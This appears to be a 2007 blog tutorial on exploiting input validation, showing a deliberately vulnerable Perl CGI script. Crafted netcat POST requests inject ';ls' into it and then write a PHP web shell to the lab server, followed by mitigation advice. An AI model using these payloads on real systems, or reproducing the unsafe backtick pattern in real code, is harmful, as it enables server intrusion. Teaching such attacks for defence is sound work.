Open source software security

Exploiting Input Validation

30 November -0001
Justin Klein Keane
June 28, 2007

Exploiting form input validation failures is one of the easiest ways to leverage control of a web server through an online application. Being able to pull off this kind of attack requires a fairly comprehensive understanding of the methods used, as well as the weaknesses of various online applications. While there are myriad weaknesses in most common web applications, exploiting form input is one of the most common ways attackers use to gain control of a server process.

The critical component to this attack is to leverage the web server's privilege. If the web server is allowed to write into web accessible directories (which is a common configuration) then an attacker can use these rights to write content such as PHP or Perl scripts into a web accessible directory then browse to these new scripts and use them to upload new content, alter existing files, and interact with the filesystem.

For the purposes of our exploration we'll consider an extremely simple application. This application consists of three parts. The first part is a simple java executable. All this executable does is take one command line argument and echo it back. The java application in our example runs on the server and is called by a perl CGI script. This script processes data passed to it from a form that resides in a web accessible directory.

While this situation may seem a little convoluted it demonstrates a fairly common setup. There is a form that accepts input, a script that handles the input and then passes it back to some sort of server side process, then the script retrieves results and presents them back to the web user.

The java application that actually carries out the commands is quite simple:

class Echoer {

public static void main(String args[]) {
        for (String s: args) {
                System.out.println(s);
        }
}

}

For the purposes of our example the form will be used to gather the string that we're going to echo back to the user. In this case it looks like:

<html>
<form method="post" action="cgi-bin/handler.pl">
<input type="text" name="string"/>
<input type="submit">
</form>
</html>

The form itself is very simple and it posts to the perl script "handler.pl" with consists of the following code:

#!/usr/bin/perl

print STDOUT "Content-type: text/html;charset=utf-8", "\n\n";
$_=<STDIN>;
/^.*string=([^&]*).*/;
$string = $1;
$out=(`java Echoer $string`);
print STDOUT $out;

First the user submits the form, then they view the output of the form they just submitted. So if the user fills out the form with the value 'testing' then submits the form all they'll see is a page with the word 'testing' on it.. The critical flaw in this application is the backticks and the unaltered input submitted by the user. The backticks actually tell the perl interpreter to execute the material within the backticks and then to assign any output to the variable $out.

An attacker can exploit this weakness by prematurely ending the intended command and executing their own command. There is a hitch to this operation, however. What the malicious user wants to do is to execute an 'ls' command. To do this all they need to do is to pass in the value:

;ls

for $string in the perl CGI script. However, if they fill out the form with ';ls' then the resultant page will merely display:

%3Bls

This is because form post data is translated into the HTML ASCII equivalent. For this operation the attacker must maliciously craft the input. The simplest way to do this is at the command line using netcat. First the attacker must craft a bogus form post that will mimic a legitimate one. To do this the attacker simply creates a text file called 'exploit.txt' that looks like (in this case our target server to attack is 192.168.174.129):

POST http://192.168.174.129/cgi-bin/handler.pl 80 HTTP/1.1
Host: 192.168.174.129
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.174.129/form.html
Content-Type: application/x-www-form-urlencoded
Content-Length:11

string=test

Note that the Content-Length is the character count of the payload, in this case the 'string=test' part. Also the target for the POST and Host: specification as well as the Referer will have to be customized to the target environment. The attacker can execute this "post" against the target using netcat like so:

$ nc 192.168.174.129 80 < exploit.txt

Since the payload of the 'string' variable is benign we get the following output:

$ nc 192.168.174.129 80 < exploit.txt
HTTP/1.1 200 OK
Date: Fri, 29 Jun 2007 01:17:59 GMT
Server: Apache/2.2.4 (Fedora)
Connection: close
Content-Type: text/html;charset=utf-8

test

Once we change the string to something a little more interesting, for instance, to break the command execution and run a directory listing then things get more interesting. If we change the string specification in exploit.txt to:

string=;ls

and then run the exploit we can quickly see how things start to go downhill:

$ nc 192.168.174.129 80 < exploit.txt
HTTP/1.1 200 OK
Date: Fri, 29 Jun 2007 01:18:15 GMT
Server: Apache/2.2.4 (Fedora)
Connection: close
Content-Type: text/html;charset=utf-8

Echoer.class
Library
handler.pl
pos.pl

At this point the attacker can leverage their privilege to upload some PHP scripts that will make life a lot easier. For instance, the following PHP included in expoit.txt will allow the attacker to execute shell commands with much more ease:

POST http://192.168.174.129/cgi-bin/handler.pl 80 HTTP/1.1
Host: 192.168.174.129
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.174.129/form.html
Content-Type: application/x-www-form-urlencoded
Content-Length:65

string=;echo "<?php echo exec($_GET['command']);?>" > phpexec.php

Now if the attacker browsed to http://192.168.174.129/cgi-bin/phpexec.php?command=pwd they would see the output of the 'pwd' command. This method could be used to write malicious scripts to any directory to which apache (or the web server user) had access to. This potentially jeopardizes the content of any world writable files and any world readable files are also exposed to the controller of the apache process.

Often times at this point the attacker will write a file that will allow them to upload files more easily. Then the attacker could upload any number of open source remote administration utilities. Since the attacker now has control of a legitimate system account they can go about elevating their privilege and attempting local exploits (which are usually much more common than remote exploits).

As you can easily see, although the technique of 'web hacking' is often frowned upon by the community as 'script kiddie' stuff, it is in fact quite powerful. Luckily it seems that this technique hasn't become widespread amongst more skilled hackers or virus writers. A certain advantage is that this process is somewhat time consuming, takes a lot of guesswork and reconnaissance, and isn't widespread. Unless an attacker could find such a vulnerability in an open source package or other application with a wide install base this attack technique is usually useful only against selected targets.

Conclusions

One of the reasons the attack in this example worked was because of the myriad of technologies used (and strung together). There is no need to execute the above program in the architecture described. A skilled programmer would probably use a simple Java applet to accomplish their goal. Of course, the root cause of the exploit is that user input isn't being validated. You should never expect that a user will pass expected values to your program.

Another cause of this problem is the use of Perl for CGI. Perl is a multi purposed scripting language, but in my opinion it has no place on the web. Although the above script could be run in taint mode (with the '-t' operator at the end of the first line), Perl wasn't designed for a web environment. Scripting languages like PHP handle web security issues in a much better fashion, making writing secure code easier.

The final problem with this example is that the web server has write access to web accessible directories. Because the attacker can write new files, then browse to them and have the web server execute those files they are able to gain near complete control of the process account with very little effort. Cutting off write access for apache would have mitigated a lot of this threat (although not all of it). Without write access the attacker would have to be somewhat more clever in how they managed to get access. It would not be impossible however. The attacker could utilize the command line access of the exploited CGI to grant themselves a shell account or to install backdoors in places where apache was allowed to write. Since apache needs write access to log directories it is difficult to completely mitigate this risk.

Ultimately scripts must be regularly audited for security holes like the one described here. With the proliferation of online applications and the easy learning curve for many scripting languages input validation exploits are one of the most dangerous and prevalent.